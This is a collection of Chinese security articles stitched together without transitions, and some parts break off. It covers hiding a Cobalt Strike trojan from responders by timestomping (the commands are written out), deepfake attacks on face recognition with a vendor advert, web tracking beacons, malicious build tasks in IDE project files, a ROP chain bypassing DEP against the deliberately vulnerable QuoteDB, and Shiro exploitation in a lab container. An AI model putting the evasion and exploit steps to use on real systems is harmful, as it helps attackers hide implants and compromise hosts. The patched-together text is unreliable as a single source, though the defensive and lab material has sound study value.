当我们上传cs木马至服务器的时候,由于修改日期是新的,蓝队人员很容易通过 everything 筛选时间排查应急
image-20231103104619412

这时候我们可以使用一些技巧进行隐藏

https://github.com/MsF-NTDLL/ChTimeStamp

通过这个项目实现修改文件时间,先看看预览效果

image-20231103104702070

查看net版本

shell reg query "HKLM\\Software\\Microsoft\\NET Framework Setup\\NDP" /s /v version | findstr /i version | sort /+26 /r  

需要安装net3.5 没有安装一下

shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\\Users\\hack\\Desktop\\dotnetfx35.exe  
DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:\\sources\\sxs

https://github.com/MsF-NTDLL/ChTimeStamp

shell copy "C:\\Program Files\\Windows Defender\\MpClient.dll" C:\\Users\\Public\\AccountPictures\\MpClient.dll  
shell C:\\Users\\Public\\AccountPictures\\ChTimeStamp.exe C:\\Users\\Public\\AccountPictures\\new\_msedge.exe C:\\Users\\Public\\AccountPictures\\MpClient.dll

image-20231103104735678

https://github.com/sorabug/ChangeTimestamp

ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27

image-20230505092903602

    转自于原文连接: https://forum.butian.net/share/2532

 


       

近日人臉識別防護問題已成焦點,嘉峪關網警、大連市銀行協會發布信息,稱市民A先生與不法分子視頻通話期間手機被犯罪分子控制,未接收到驗證碼,通話後手機收到消息提示,銀行定期存款已被銷戶,銀行人臉識別系統未發揮效果,資金已被轉出。經偵查後發現,犯罪分子事先獲取了A先生的身份證影像信息,並通過技術手段合成了短視頻,使用該視頻成功應對了銀行大額資金轉賬時的人臉識別驗證。

目前人臉識別防護技術存在明確的安全隱患,人臉信息發生洩露的風險主要存在於收集、存儲、使用、加工、傳輸,其中使用、加工、傳輸需要金融機構等廠商提高重視度,收集、存儲環境也需消費者提高警惕心。消費者不應隨意同陌生人的視頻聊天、下載來源不明的App、隨意參與App內的錄製視頻/聲音活動,北京互聯網法院綜合審判三庭副庭長曾表示“一些營銷短視頻、音頻的商家經常在未經當事人許可和同意的情況下進行換臉、換聲操作,以此獲利”,降低人臉信息的收集、存儲環節的安全隱患。消費者應保護好銀行卡號、密碼、身份證等個人信息;人臉、指紋等個人生物信息,發現可疑行為及時報警。

個人生物信息一旦洩露便後患無窮,尤其是人臉信息,上述案例中的收集人臉信息、通過技術手段攻擊人臉識別防護系統,攻破後進行盜取轉移資金等違法行為的犯罪鏈已較為成熟。通過AI技術攻擊人臉識別防護系統的手段可分為深度偽造攻擊與對抗樣本攻擊。深度偽造攻擊是將一個人的面部表情移植到另一個人照片的面部,從而讓被移植人照片活化起來;對抗樣本攻擊是在人臉照片上添加難以察覺的微小擾動使人臉識別系統誤判。本次案例中,不法分子極可能是利用視頻通話採集受害者人臉信息並基於深度偽造攻擊手法騙過銀行的人臉識別防護系統,竊取用戶存款,此類案件層出不窮。

不法分子的攻擊目標早已不局限於金融系統,政務系統也是重點攻擊目標之一,根據天津網信辦報導,不法分子獲取公民身份信息和人臉照片後,利用AI技術破解相關政務APP的“人臉識別”認證,在當事人毫不知情的情況下,幾分鐘就能利用他人信息註冊公司。

針對人臉識別防護系統的攻擊與防禦,是一場雙方都在不斷升級的攻防對抗,目前針對人臉識別防護系統的攻擊手段已經過多次進化。多數人臉識別算法廠商聚焦於人臉特徵提取、人臉差異,對深度偽造攻擊、對抗樣本攻擊及針對應用的攻擊的防護能力極為有限,為此業內新增了三類檢測功能,但均有一定局限性。

1、增強活體檢測模塊,以識別對抗眼鏡及表情操縱攻擊此種防禦方式對於屏幕重放攻擊有一定的防禦效果,但是若採用攝像頭繞過方式即可繞過,對於安全加密強度不夠的APP,採用公開手機模擬器即可繞過攝像頭,直接將準備好的偽造圖像傳輸給後台人臉比對算法。

2、增強人臉特徵比對算法,存在異常即攔截該方法本質上是提升了比對算法的閾值,在提升自身安全性的同時,也降低了對於用戶的友好體驗,往往要進行反复拍照、核驗才能通過比對,並不能從根本上解決人臉偽造的攻擊方式。

3、增加臉部異常結構的識別該方式,旨在防範對抗眼鏡樣本的攻擊方式,但對抗樣本的攻擊方式千變萬化,可以是眼鏡形式外的任何形式,此方法並不能解決對抗樣本本身帶來的攻擊危害。

此外攻擊者還可以通過注入應用、破壞系統內核及利用接口防護不當與設計缺陷嘗試繞過人臉識別防護系統的活體檢測環節。

1、注入應用繞過人臉識別防護系統活體檢測攻擊者通過注入應用的方式來篡改程序,繞過活體檢測,使用一張靜態照片就可以通過人臉識別。還可以通過查看當前APP的數據結構,修改參數來篡改活體檢測完成後的圖片,從而達到活體檢測由任意一個人完成都可以通過的效果,這樣只需要拿著被攻擊者的照片來通過靜態人臉識別,然後其他人眨眼抬頭來破解活體檢測。

2、破壞系統內核繞過人臉識別防護系統活體檢測通過修改Android系統源代碼,在底層直接修改並返回相關函數的調用結果。劫持攝像頭,指定視頻存放位置,在活體檢測後替換人臉識別圖片、視頻,繞過活體檢測。

3、利用接口防護不當和各種設計缺陷部分APP在使用上傳人臉圖像時,沒有對圖像數據進行簽名,導致圖片可以被工具截獲然後篡改,而有的則是在數據報文沒有加入時間戳,可以通過重放數據報文的方式來實施破解。有些人臉識別的成功與否,是通過返回報文中的一個閾值來決定的,相當於考試中的“及格分數”,如果人臉匹配度超過該閾值就可以通過,不幸的是,部分APP沒有對這個返回報文加簽名,導致該報文可以被篡改,最終通過調低該閾值的方式破解了它的人臉識別防護系統。人臉識別技術正面臨著日益嚴峻的新型攻擊威脅和重大財產損失的風險,想提高安全性須採用成體係可應對上述各類攻擊手段的人臉識別安全方案。為加強安全防護能力,愛加密推出了“查、打、防”三位一體的人工智能安全體系、愛加密人臉安全綜合防護系統,從人工智能應用的生命週期進行檢測,治療和預防。

image.png

愛加密人臉安全綜合防護系統可全面加固任意人臉識別系統。通過集成終端風險感知、業務端實時偽造檢測、運營風險挖掘三大類功能,實現在人臉核身、在線視頻等典型場景中有效抵禦對抗樣本攻擊、深度偽造攻擊等新型安全風險,大幅提升人臉識別系統的安全性。

image.png

愛加密將持續關注人臉識別防護安全,在此呼籲各大機構提高對人臉信息的重視度,加強對個人隱私信息的保護力度,提升人臉識別防護系統的安全性。愛加密通過十餘年技術積累和豐富的行業服務經驗研發,助力人臉識別防護系統的安全運營,未來將繼續憑藉自身技術優勢、業務資質優勢、產品方案優勢等,守護互聯世界。

sl-book-page-beacon-blue-1200x600.jpg

目前有大量的追踪器,它們收集用戶在線活動的信息。但出於各種目的,我們已經習慣了在線服務提供商、營銷機構和分析公司跟踪我們的每一次鼠標點擊、我們的社交帖子、瀏覽器和流媒體服務。這些被收集的數據可用於改善用戶界面或整體用戶體驗,或用於個性化廣告。

存在各種類型的跟踪器,用於收集不同類型的信息:廣告(AdAgency)跟踪器、分析(WebAnalytics)跟踪器等等。其中大多數主要用於網站和內部應用程序。還有更多的多功能追踪器,用於網站、內部應用程序,甚至電子郵件。本文描述了其中一種跟踪器類型:web信標。本文會介紹最常檢測到的跟踪系統和公司web信標。

什麼是web信標web信標(web beacon),又稱網頁臭蟲(web bug),是可以暗藏在任何網頁元素或郵件內的1像素大小的透明GIF或PNG圖片,常用來收集目標電腦用戶的上網習慣等數據,並將這些數據寫入Cookie。 web信標在郵件跟踪和垃圾郵件中較為常用。

雖然互聯網隱私倡導者反對使用網絡臭蟲,但是他們大部分承認網絡臭蟲有積極用途,例如跟踪侵犯版權的網站。 根據Richard M.Smith,網絡臭蟲(Web bug)可以收集以下資料:1.獲取網絡臭蟲的計算機的IP地址,2.網絡臭蟲所在網頁的網址,3.網絡臭蟲圖像的網址,4.網絡臭蟲被訪問的時間,5獲取網絡臭蟲圖像的瀏覽器的類型,6.一個提前設定的cookie值。網絡臭蟲(Web bug)經常被垃圾郵件發送者用來驗證電子郵件地址。當收件人打開一封有網絡臭蟲的電子郵件時,返回給發件人的信息就會顯示郵件已被打開,這樣就可以確認電子郵件地址是有效的。

網站上的信標跟踪訪問者。分析性營銷機構或網站所有者自己可以使用這些數據來衡量某些內容或促銷活動的表現,或者他們的受眾的反應。一些網站使用追踪器像素作為其內容的水印,例如追踪非法拷貝。

電子郵件中web信標的主要目的,就像網站上的信標一樣,是統計與內容互動的用戶。例如,跟踪器像素可用於生成關於電子郵件打開率的報告。這有助於公司發現用戶對哪些電子郵件活動感興趣,哪些不感興趣。例如,如果一項電子郵件活動的打開率下降,公司可能會選擇用更吸引眼球的內容或點擊誘餌來代替主題,或者相反,使其更具事實性和信息性。

web信標是如何工作的網頁上的信標通常是從外部源加載的圖像。大小通常是一個甚至零個像素,因此人眼看不見的。因此得名:“間諜像素”。此外,CSS的顯示屬性可以設置為“none”(不顯示)來隱藏圖像。不太常見的是JavaScript信標實現,比如信標API:一個允許向服務器發送請求而不期待響應的接口。

信標API(Beacon API)是一種較新的Web技術,它不需要使用不可見圖像或類似手段就能達到相同的目的。截至2017年4月,它還是一個萬維網聯盟的候選建議。其旨在使Web開發人員能在用戶離開頁面時將信息(如分析或診斷數據)發回Web服務器,以跟踪用戶的活動。使用Web信標API能夠不干擾或影響網站導航的完成此種跟踪,並且對最終用戶不可見。信標API已於2014年被相繼引入到Mozilla Firefox和Google Chrome網頁瀏覽器。

1.jpeg

網站HTML代碼中的web信標位置示例

電子郵件web信標以類似的方式實現:在電子郵件正文中放置不可見的圖像,或者在HTML附件中添加JavaScript代碼。

2.jpeg

電子郵件HTML部分中的web信標位置示例

當網頁或電子郵件被打開時,一個請求被發送到web信標服務器。如果web信標是一個圖像,請求是上傳這個圖像。否則,它是JavaScript代碼中指定的請求,通常不需要響應。下面的信息通常被傳遞給服務器:

打開網頁或電子郵件的日期和時間;

操作系統版本;

瀏覽器或電子郵件客戶端類型和版本;

屏幕分辨率;

IP地址;

3.jpeg

用戶數據傳輸示例

最常見的網站和電子郵件信標我們分析了2022年12月系統檢測到的網絡信標,並對20家公司進行了排名,這些公司的信標在瀏覽網站或打開電子郵件時與用戶互動最頻繁。

網站上最常見的20個信標我們使用了“禁止跟踪”(DNT)組件從2022年12月1日至31日收集的匿名統計數據,該組件阻止網站跟踪器的加載。 DNT在默認情況下是禁用的,它是卡巴斯基互聯網安全、卡巴斯基全面安全和卡巴斯基安全雲的一部分。統計數據由用戶在同意的情況下分享的匿名數據組成。我們列出了20家DNT在全球範圍內最頻繁檢測到其內容的公司。根據DNT的數據,20家公司中的大多數至少與數字廣告和營銷有一定的聯繫。例如,Aniview以2.68%的排名位居第六,專門從事視頻廣告業務。 OpenX(2.19%)、Taboola(1.63%)、Smart AdServer(1.55%)和其他許多公司都是廣告或營銷機構。

即使是科技巨頭,如穀歌(32.53%)、微軟(21.81%)、亞馬遜(13.15%)和甲骨文(2.86%),它們在我們的排名中處於領先地位,運營著營銷和廣告子公司,而銷售產品並不是它們使用網絡信標的唯一原因。

4.png

2022年12月最常見的20個網站信標

電子郵件中最常見的20個信標本節介紹來自卡巴斯基用戶設備的匿名反垃圾郵件檢測數據。反垃圾郵件組件是卡巴斯基安全Linux郵件服務器、卡巴斯基安全微軟Exchange服務器、卡巴斯基安全郵件網關和卡巴斯基安全微軟Office 365的一部分。

與網站信標排名不同的是,最常見的電子郵件信標並不是由大型科技公司主導的:Adobe Analytics(4.49%)排名第八,谷歌(3.86%)和微軟(3.18%)的比例甚至更低。事實上,有相當多的公司專門從事電子郵件營銷就可以解釋這一點。這些公司可分為兩類:

電子郵件服務提供商(ESP):為客戶管理和維護電子郵件活動的公司;

客戶關係管理(CRM):專門為在銷售過程的各個階段管理各種類型的客戶溝通建立平台的公司。

科技巨頭擁有大多數網站使用的主要廣告網絡,因此他們的追踪器主導著這些網站,而ESP和CRM公司管理著大多數電子郵件活動,因此他們的追踪器主導了電子郵件。 ESP和CRM信標收集用戶數據,以跟踪他們對電子郵件活動的響應,即打開郵件的用戶百分比、不同地區打開率的變化情況,等等。我們在電子郵件流量中檢測到的大多數信標是由Mailchimp(21.74%)和SendGrid(19.88%)提供的,這是美國兩家主要的電子郵件營銷公司。

除ESP和CRM外,我們的電子郵件信標排名還包括韓國大型在線零售商樂天(5.97%)、商業社交網站LinkedIn(4.77%)、叫車平台Uber(1.49%)和主要住宿預訂服務Booking.com(0.56%)。這些公司與ESP和CRM參與者分享了他們使用web信標的原因:評估電子郵件營銷活動的影響並收集匯總用戶統計數據。

5.png

電子郵件中最常見的20種web信標

總結公司努力收集盡可能多的用戶數據,盡可能多地為每個用戶配置文件添加細節,以便他們可以個性化產品,更有效地銷售商品和服務。各種跟踪系統使公司能夠跟踪網站、內部應用程序和電子郵件中的用戶。

許多大公司沒有外包這些服務,而是建立了自己的廣告子公司,銷售與廣告專家相同的服務。他們通常合併從不同來源獲得的用戶信息,以豐富和擴展他們現有的每個用戶檔案。同時,其他人使用互聯網巨頭、營銷機構、ESP和CRM公司的服務,幫助這些公司收集更多數據。

一般情況下,用戶會發現很難追踪到他們的數據去向。甚至有時可能都沒有註意到正在收集數據。網站和電子郵件中的信標對用戶來說是不可見的,與cookie相反,放置信標的公司不會發出任何警告。

與此同時,信標還能讓這些公司知道用戶訪問網站的次數,他們來自哪裡,誰在何時何地打開了電子郵件。通過定期收集所有這些信息,不僅可以了解用戶對特定電子郵件消息或登錄頁面的反應,還可以了解用戶的習慣,例如他們通常什麼時候上網。如果攻擊者因洩露而獲得這些信息,他們可以將其用於自己的目的。特別是,如果他們發現你平時的離線時間,他們可以嘗試黑客攻擊你的在線賬戶或以你的名義發送虛假電子郵件。

此外,攻擊者還使用網絡信標技術。至少採取最低限度的反跟踪措施來保護自己免受公司的不必要關注是值得的,更不用說網絡黑客了。你可以安裝一個特殊的瀏覽器擴展,防止在網頁上加載跟踪器,並配置瀏覽器以增加隱私。許多VPN服務都提供跟踪器阻止作為附加功能。當涉及到電子郵件時,您可以防止圖像自動加載。即使你打開了一封包含間諜像素的電子郵件,它也不會起作用,因為除非你明確允許,否則任何圖像(網絡信標也是圖像)都不會加載。至於更高級的JavaScript信標,它們位於附件中,只有在你打開後才能加載。

最近,趨勢科技的研究人員分析了幾種可被濫用來攻擊供應鏈的攻擊載體的概念證明,其中一種便是針對開發者的供應鏈攻擊,該證明重點關注了本地集成開發環境(IDE),考慮當項目或生成被錯誤地“信任”時,通過注入命令執行惡意生成腳本的情況。

在本文中,我們將關注供應鏈的一個特定部分——開發者本身。要找到針對開發者的合適攻擊模型,我們必須首先了解誰是開發者、他們的工作流程和日常工具。我們還將重點放在開發者和他們各自的工具如何被濫用來破壞供應鏈。

誰是“開發者”?按照字面理解,將開發者定義為開發計算機軟件的人。在安全研究人員的理解中,則是寫代碼的人。這包括流行的編程或腳本語言,如Java、JavaScript、TypeScript、Go、Python、C/c++和許多其他語言,包括基礎設施或容器部署定義,如Dockerfile、Kubernetes、Terraform HCL等。僅從這個描述來看,該定義就涵蓋了IT行業的各個部分,包括編寫代碼的每個人、安全研究人員等等。

儘管工作流本身可能因開發者和公司的不同而有所不同,但根據開發者如何使用集成開發者環境(IDE),它很可能屬於以下類別之一:

1.本地IDE:開發者在自己的設備上本地安裝了IDE。在這種情況下,開發者有兩個選擇:

1.1將代碼拉入或推送到遠程存儲庫,並在本地執行生成和調試;

1.2將更改提交到遠程存儲庫,觸發持續集成/持續交付(CI/CD)事件,並導致質量保證(QA)評估,甚至部署到生產環境中。

2.雲IDE:開發者使用雲服務託管的IDE,如AWS Cloud9、Visual Studio Online、GitHub代碼空間和許多其他當今可用的平台。在這種情況下,開發者設備就像網關一樣工作,通常通過瀏覽器訪問IDE,主要的代碼執行是在雲服務提供者內部的雲IDE的遠程主機中執行的。

由於開發者涵蓋多個職業,一些工作流可能會從列表中排除一些項目。例如,本文的概念證明很可能不會建立一個完整的CI/CD管道。然而,大多數工作流將包括使用IDE進行開發。在這篇文章中,我們將重點放在本地IDE上。

本地IDE的示例當使用本地IDE時,其中一個示例是開發者將代碼拉到本地計算機上。該代碼被進一步編譯為二進制格式,以便執行。對以前的貢獻者編寫的代碼有一種隱含的信任,因為大多數開發者認為代碼庫可能不會被污染,因為它可以按預期工作。這種信任不僅存在於源代碼本身中,還存在於生成腳本、庫、依賴項和其他項目文件中。這就引出了第一個攻擊場景:將惡意操作注入到項目文件或生成腳本中。

作為開發者,在執行遠程代碼之前,是否有必要在拉入遠程代碼之後閱讀生成腳本?

研究人員通過向生成腳本或項目文件注入惡意生成命令(如果適用的話)來測試各種流行的IDE和編程語言。以下是測試的IDE版本的結果:

Eclipse2022-09ApacheNetBeans16PyCharm2022.2.4IntelliJIDEA2022.03VisualStudio2022VisualStudioCode1.73.1當我們考慮通用攻擊模型時,還必須包括每個非受控輸入。這包括源代碼及其文件,並包括生成前和生成後腳本和IDE擴展(如果適用的話)。我們之前在2020年的一篇文章中寫過可能存在惡意IDE擴展的危險。

1.png

IDE攻擊模型

我們為每個IDE定義了以下場景,以驗證可能的攻擊模型:

開發者在線從不受信任的存儲庫中拉入代碼;

開發者在IDE中打開一個項目;

開發者試圖編譯或生成項目;

使用Visual Studio代碼從Visual Studio Code 1.57版(2021年5月發布)開始,代碼編輯器引入了Workspace Trust的概念。此功能通過防止代碼從不受信任的文件和存儲庫執行,幫助開發者安全地瀏覽和編輯代碼,而不考慮源代碼或作者。這可能是由於當時第三方擴展漏洞的數量不斷增加,當被濫用時,在打開不受信任的文件時,可能會允許遠程代碼執行(RCE)。這個概念很簡單:除非工作區是可信的,否則它不允許任何(生成/調試)任務或某些擴展功能運行。這就可以將責任轉移到開發者身上,並提示他們是否要信任下載的代碼。

這裡要強調的是,不要盲目地信任每一個工作區。

2.png

Visual Studio代碼工作區信任對話框

開發者應該尋找和考慮哪些代碼不應該被信任的可疑跡象?在其他示例中,應該引起開發者警惕的跡象包括:

較低的下載量;

論壇上共享的項目;

灰色區域;

一般未經證實的來源;

未知的人;

在執行IDE任務之前,應通過審計項目目錄中的文件以查找可疑或惡意命令來驗證.vscode/tasks.json文件,尤其是從未知源下載時。

3.png

惡意生成任務的示例

惡意命令可以隱藏在tasks.json文件下並偽裝成生成命令。當開發者試圖生成之前盲目信任的項目時,開發者設備將執行遠程代碼,這可能是惡意的。攻擊者還可以通過在常規生成命令之間隱藏惡意命令,使有效負載更為隱蔽,這將減少開發者的懷疑。

在模擬中,我們通過Pastebin在遠程服務器上放置了一個腳本。這是一種被一些攻擊者濫用的方法,將其惡意有效載荷發送到受感染的設備中。這項技術對攻擊者的好處是可以遠程更改有效載荷。例如,在成功感染後,可以將有效負載更改為無害的內容。

使用Visual StudioVisual Studio是Microsoft用於.NET和C++開發的專有IDE,它沒有工作區信任功能。因此,開發者在加載不受信任的項目文件和執行生成時應該格外小心。惡意的生成前或生成後任務可能會被注入到文件中,從而導致從生成開始就執行不必要的執行。

4.png

Visual Studio項目文件預生成任務命令示例

5.png

嵌入預生成PowerShell執行的概念驗證示例

使用其他IDE在Eclipse IDE中,仍然可以注入生成命令。因此,文件是不同的。首先,ExternalToolBuilder的生成命令必須在.project文件中指定,參考在. externaltoolbuilders文件夾中定義實際執行命令的另一個文件。通過將多個生成命令鏈接在一起,我們可以實現與Visual Studio Code中相同的多個命令執行。

6.png

.project文件節鏈接生成執行規範的示例

7.png

生成事件外部命令規範

由於使用外部生成工具的項目文件注入適用於基本IDE的範圍,因此它僅適用於實際代碼編譯為二進製文件的語言。這包括Java和C/c++,但不包括像PHP這樣的語言,因為不執行生成。

NetBeans IDE主要用於Java開發,儘管它還通過第三方擴展支持PHP、HTML5、JavaScript或C/C++開發。 Java開發項目可以利用Maven、Gradle或Ant作為其依賴關係管理和生成自動化工具。因此,項目和生成定義可能不同。然而,所有這些工具都支持將第三方流程作為生成前或生成後操作來執行。在這種情況下,攻擊者可以注入惡意代碼,並希望開發者不會注意到並不情願地執行。

對於Ant,注入可以在nbproject/build-impl.xml文件中完成,方法是將以下代碼片段添加到一個合適的目標標記中:

8.png

Ant的注入點和触發生成時的命令執行示例

當開發者使用Maven作為生成工具時,可以通過更改項目文件夾中的pom.xml來實現相同的目標。這一次,在生成標記中使用了org.codehaus.mojo插件。所使用的語法類似於Ant所使用的語法。

9.png

Maven第三方執行示例

對於Gradle,Groovy語言腳本用於位於app/build.gradle內部的生成定義,並且對所選任務內的字符串調用execute()函數將觸發代碼執行。

10.png

Gradle第三方執行示例

儘管“打開項目”對話框有一個“信任項目生成腳本”選項,但其功能僅對Gradle項目有效。如果未選中,它將阻止Gradle腳本啟動,因此,當加載項目作為CVE-2020-11986修復時,代碼執行是可能的。儘管如此,當用戶決定手動執行生成時,不會顯示進一步的對話框,並且生成被認為是可信的。

11.png

NetBeans中的“信任項目生成腳本”複選框

IntelliJ IDEA是另一個用於Java、Kotlin、Groovy和其他基於Java虛擬機(JVM)的語言開發的IDE。它還支持Ant生成腳本。加載包含Ant生成腳本的項目會觸發一個對話框警告,提示它可能會執行潛在的惡意代碼,如果它不是來自可信的源,建議使用安全模式。當開發者試圖在安全模式下執行生成時,IDE會警告用戶該操作只能在可信模式下完成。

12.png

IntelliJ IDEA顯示潛在惡意生成腳本的警告

13.png

IntelliJ IDEA生成安全模式生成警告

PyCharm是用於Python開發的IDE。 Python腳本通常不會在執行之前編譯。然而,開發者仍然可以指定自定義運行/調試配置,允許在實際腳本執行之前執行第三方二進製文件。這可能用於腳本數據輸入準備。

14.png

運行執行前的外部工具

該操作在項目內部被參考。但是,實際的可執行規範存儲在不同的位置,更具體地說,存儲在~/.config/JetBrains/PyCharmXXXX/tools/External Tools.xml。正如我們所看到的,該文件存儲在用戶主目錄中,保護它不受攻擊模型場景的影響,因為它需要修改本地文件系統。

15.png

運行前任務參考

16.png

運行前任務定義

總結研究人員使用執行惡意生成腳本的攻擊場景評估了所有已識別的IDE,向這些生成腳本中註入惡意命令是可能的。如上所述,一些IDE明確警告開發者惡意操作的可能性,除非項目配置將其標記為明確可信,否則不允許執行任務。另一方面,一些IDE使用這樣的假設,即當開發者打開一個項目或將其複製到他的工作區時,它會自動被信任,並且不需要任何進一步的操作。

無論我們使用什麼IDE,總會權衡安全性和可用性。開發者不應該盲目地相信互聯網上的每一個開源項目。在執行任何生成操作之前,開發者至少應該知道他們有可能成為目標並審查生成腳本。

我們還想強調,上述攻擊場景不僅限於本地IDE,而且安全重要性在於所使用的工作流和工作區信任本身,無論開發者在容器或支持在線IDE的VM中執行實際生成/編譯的情況如何。一旦工作區被標記為可信,並且生成腳本被修改,它可能會在環境中觸發不需要的代碼執行,並導致IDE具有訪問權限。以下是開發者可以記住的一些最佳安全實踐:

使用安全配置的CI/CD平台,在具有適當的基於角色的訪問控制(RBAC)的外部設備或服務上執行生成,只有授權人員才能更改生成腳本;

在集成到項目之前,檢查外部源代碼和生成腳本;

避免在審計之前盲目使用開箱即用的解決方案,特別是當這些解決方案在社區中沒有廣泛使用或來自未經核實的來源時;

定期跟踪變更並進行審查。

DEP(數據執行保護)是一種內存保護功能,允許系統將內存頁標記為不可執行。 ROP(面向返回的編程)是一種利用技術,允許攻擊者在啟用DEP等保護的情況下執行shellcode。在這篇文章中,我們將介紹應用程序的逆向過程,以發現緩衝區溢出漏洞,並開髮用於繞過DEP的ROP小工具鏈(Gadget Chain)。

我們將在開發過程中使用以下工具:QuoteDB、TCPView(一個查看端口和線程的小工具,只要木馬在內存中運行,一定會打開某個端口,只要黑客進入你的電腦,就有新的線程)、IDA Freeware、WinDbg(在windows平台下,強大的用戶態和內核態調試工具)和rp++。

QuoteDB是一個設計上易受攻擊的應用程序,創建它是為了實踐逆向工程並利用它進行開發。如下圖所示,該應用程序正在偵聽端口3700上的網絡連接:

1.jpg

我們已經使用TCPView確認程序確實在監聽端口3700。

2.jpg

現在我們需要對應用程序進行逆向工程,看看它是如何處理網絡連接的。 accept函數用於允許指定端口上的傳入連接,然後進程創建一個運行“handle_connection”例程的新線程,如下所示:

3.jpg

recv函數用於從連接的套接字接收數據:

4.jpg

我們已經開發了一個基本的Python腳本,它創建一個TCP套接字,並在端口3700上向遠程服務器發送1000個“a”字符:

5.jpg

我們已將WinDbg附加到QuoteDB.exe進程,並列出了加載的模塊,如下圖所示。

6.jpg

我們可以使用“bp”命令在recv函數調用後放置斷點,使用“bl”命令確認斷點已成功設置:

7.jpg

recv函數返回後,EAX寄存器包含以十六進制接收的字節數:

8.jpg

緩衝區的前4個字節表示一個操作碼,該操作碼被移到EAX寄存器中,然後打印在命令行中:

9.jpg

下圖顯示了WinDbg中的printf調用,我們可以觀察到第三個參數(=Opcode)由4個“A”字符組成:

10.jpg

該進程顯示源IP地址、源端口、緩衝區長度和十進制的操作碼:

11.jpg

應用程序從Opcode中減去0x384(十進制900),並將結果與4進行比較。這是一個帶有5個示例的開關,也顯示在下圖中。

12.jpg

EAX寄存器大於4,執行流被重定向到默認情況,該情況調用“log_bad_request”函數:

13.jpg

上述函數包含緩衝區溢出漏洞,如下圖所示,可執行文件在堆棧上分配0x818(2072)字節,用0初始化緩衝區,並在不檢查邊界的情況下將有效負載複製到此緩衝區:

14.jpg

發生溢出是因為要復制的字符數(0x4000)大於緩衝區的大小,並且可能會重寫返回地址:

15.jpg

我們選擇發送3000個“A”字符以利用該漏洞。如下所示,返回地址在堆棧上被重寫,程序因此崩潰:

16.jpg

17.jpg

我們使用了“msf-pattern_create”命令來生成一個唯一的模式,該模式將為我們提供偏移量。

18-1536x180.jpg

應用程序在不同的地址崩潰,該地址用於使用“msf-pattern_offset”命令確定精確的偏移量:

19.jpg

20.jpg

我們修改了概念證明,以包括上述偏移量。在正確的地址崩潰後,ESP寄存器指向我們控制的緩衝區的最後一部分:

21.jpg

22.jpg

我們使用了narly WinDbg擴展來顯示加載的模塊及其內存保護,下圖顯示了該可執行文件是在啟用ASLR和DEP保護的情況下編譯的。

23.jpg

Windows Defender Exploit Guard可以用來啟用/禁用ASLR。我們需要進入“Exploit protection settings”,選擇“Program settings”頁簽,點擊“Add Program to custom”,選擇“Choose exact file path”選項:

24.jpg

25.jpg

我們想通過發送從“\x00”到“\xFF”的所有字節並確定它們如何寫入堆棧來找出哪些字符被認為是“不適合”的:

26-1.jpg

如下圖所示,沒有不適合的字符,不過為了研究,我們將“\x00”視為不適合字符,因為它通常是不適合字符。正因為如此,漏洞開發過程稍微複雜一些,但它可能更容易適應其他應用程序。

27.jpg

我們使用rp++工具從“SysWOW64\kernel32.dll”模塊中提取ROP小工具,因為ASLR是禁用的,所以我們可以選擇任何提供必要ROP小工具的DLL,但是,我們將在以後的文章中看到應用程序洩漏特定DLL中的地址。我們已將小工具中的最大指令數設置為5:

28.jpg

29.jpg

由於DEP保護,堆棧不再是可執行的,我們需要找到執行shellcode的方法。我們可以使用VirtualAlloc、VirtualProtect和WriteProcessMemory等API來繞過DEP。 VirtualAlloc函數用於保留、提交或更改進程地址空間中頁面的狀態。該函數有4個參數:

lpAddress

dwSize

flAllocationType

flProtect

我們的目的是將flAllocationType參數設置為0x1000(MEM_COMMIT),將flProtect設置為0x40(PAGE_EXECUTE_READWRITE)。我們需要在堆棧上創建以下框架:

VirtualAllocaddress

Returnaddress(Shellcodeaddress)

lpAddress(Shellcodeaddress)

dwSize(0x1)

flAllocationType(0x1000)

flProtect(0x40)

我們為每個元素分配了一個特定的值,需要在運行時使用正確的值對其進行修改。

30-1.jpg

如下圖所示,可以在ESP寄存器的固定偏移處找到框架:

31.jpg

kernel32.dll模塊的起始地址可以使用WinDbg來標識。所有ROP小工具的地址必須使用該值而不是“ROP.txt”文件中的加載地址來計算:

32.jpg

首先,我們需要找到一個保存ESP寄存器值的ROP小工具。我們確定了一個將ESP寄存器複製到ESI寄存器的寄存器:

33.jpg

我們修改了Python腳本,以包含kernel32地址和上述ROP小工具偏移量,如下所示:

34-1.jpg

我們已經成功地將執行流程重定向到我們的第一個ROP小工具,接著將其他ROP小工具鏈接在一起,因為ESP仍然指向我們的緩衝區:

35.jpg

36.jpg

現在我們需要找到從ESI寄存器中減去0x1C的方法。然而,由於缺少涉及使用ESI寄存器進行計算的ROP小工具,我們找到了一個將ESI寄存器複製到EAX中的ROP小工具。唯一的問題是ESI也被“POP ESI”指令修改,但是,它不會影響我們的利用:

37.jpg

38.jpg

在許多ROP小工具中發現的另一個寄存器是ECX。我們已經確定了一個ROP小工具,它從堆棧中彈出一個值到ECX寄存器中,另一個小工具將EAX和ECX寄存器加在一起。加上負值等於減去相同的正值:

39.jpg

40.jpg

通過在之前的EAX值上添加-0x1C (=ECX)值,EAX指向VirtualAlloc框架:

41.jpg

因為EAX在任何計算中都很有用,所以我們需要在執行任何其他操作之前找到保存它的方法。我們發現了一個ROP小工具,它將EAX寄存器複製到ECX中,ECX將用於修改框架中的值。事實上,EAX也被這個ROP小工具修改了,但這並不影響我們的利用:

42.jpg

我們修改後的概念證明如下圖所示。 “junk”值對堆棧對齊很有用,對應於“POP reg”和“retn4”指令。

43.jpg

再次運行Python腳本後,我們可以觀察到ECX寄存器的值與之前的EAX寄存器相同,並指向VirtualAlloc框架:

44.jpg

IAT(導入地址表)包含指向由其他DLL導出的函數的指針。例如,kernel32.dll在VirtualAlloc的IAT中有一個條目,即使VirtualAlloc實際地址發生變化,該條目也保持不變:

45.jpg

我們使用了“POP EAX”指令將VirtualAlloc IAT複製到EAX寄存器中,需要對其進行解除引用才能獲得VirtualAlloc地址,如下所示:

46.jpg

47.jpg

在更新Python腳本並再次運行之後,我們成功地獲得了EAX中的VirtualAlloc地址:

获取环境:

拉取镜像到本地

启动环境

$ docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

1.使用shiro_attack_2.2工具对目标系统进行检查,发现有默认key但是无利用链

image_ylgMY223mT.png

2.使用shior_tools.jar 直接对目标系统进行检测,检测完毕后会返回可执行操作

java   -jar  shiro_tool.jar http://10.11.10.108:8081/login.jsp 

h35gsf3ziqd13275.png

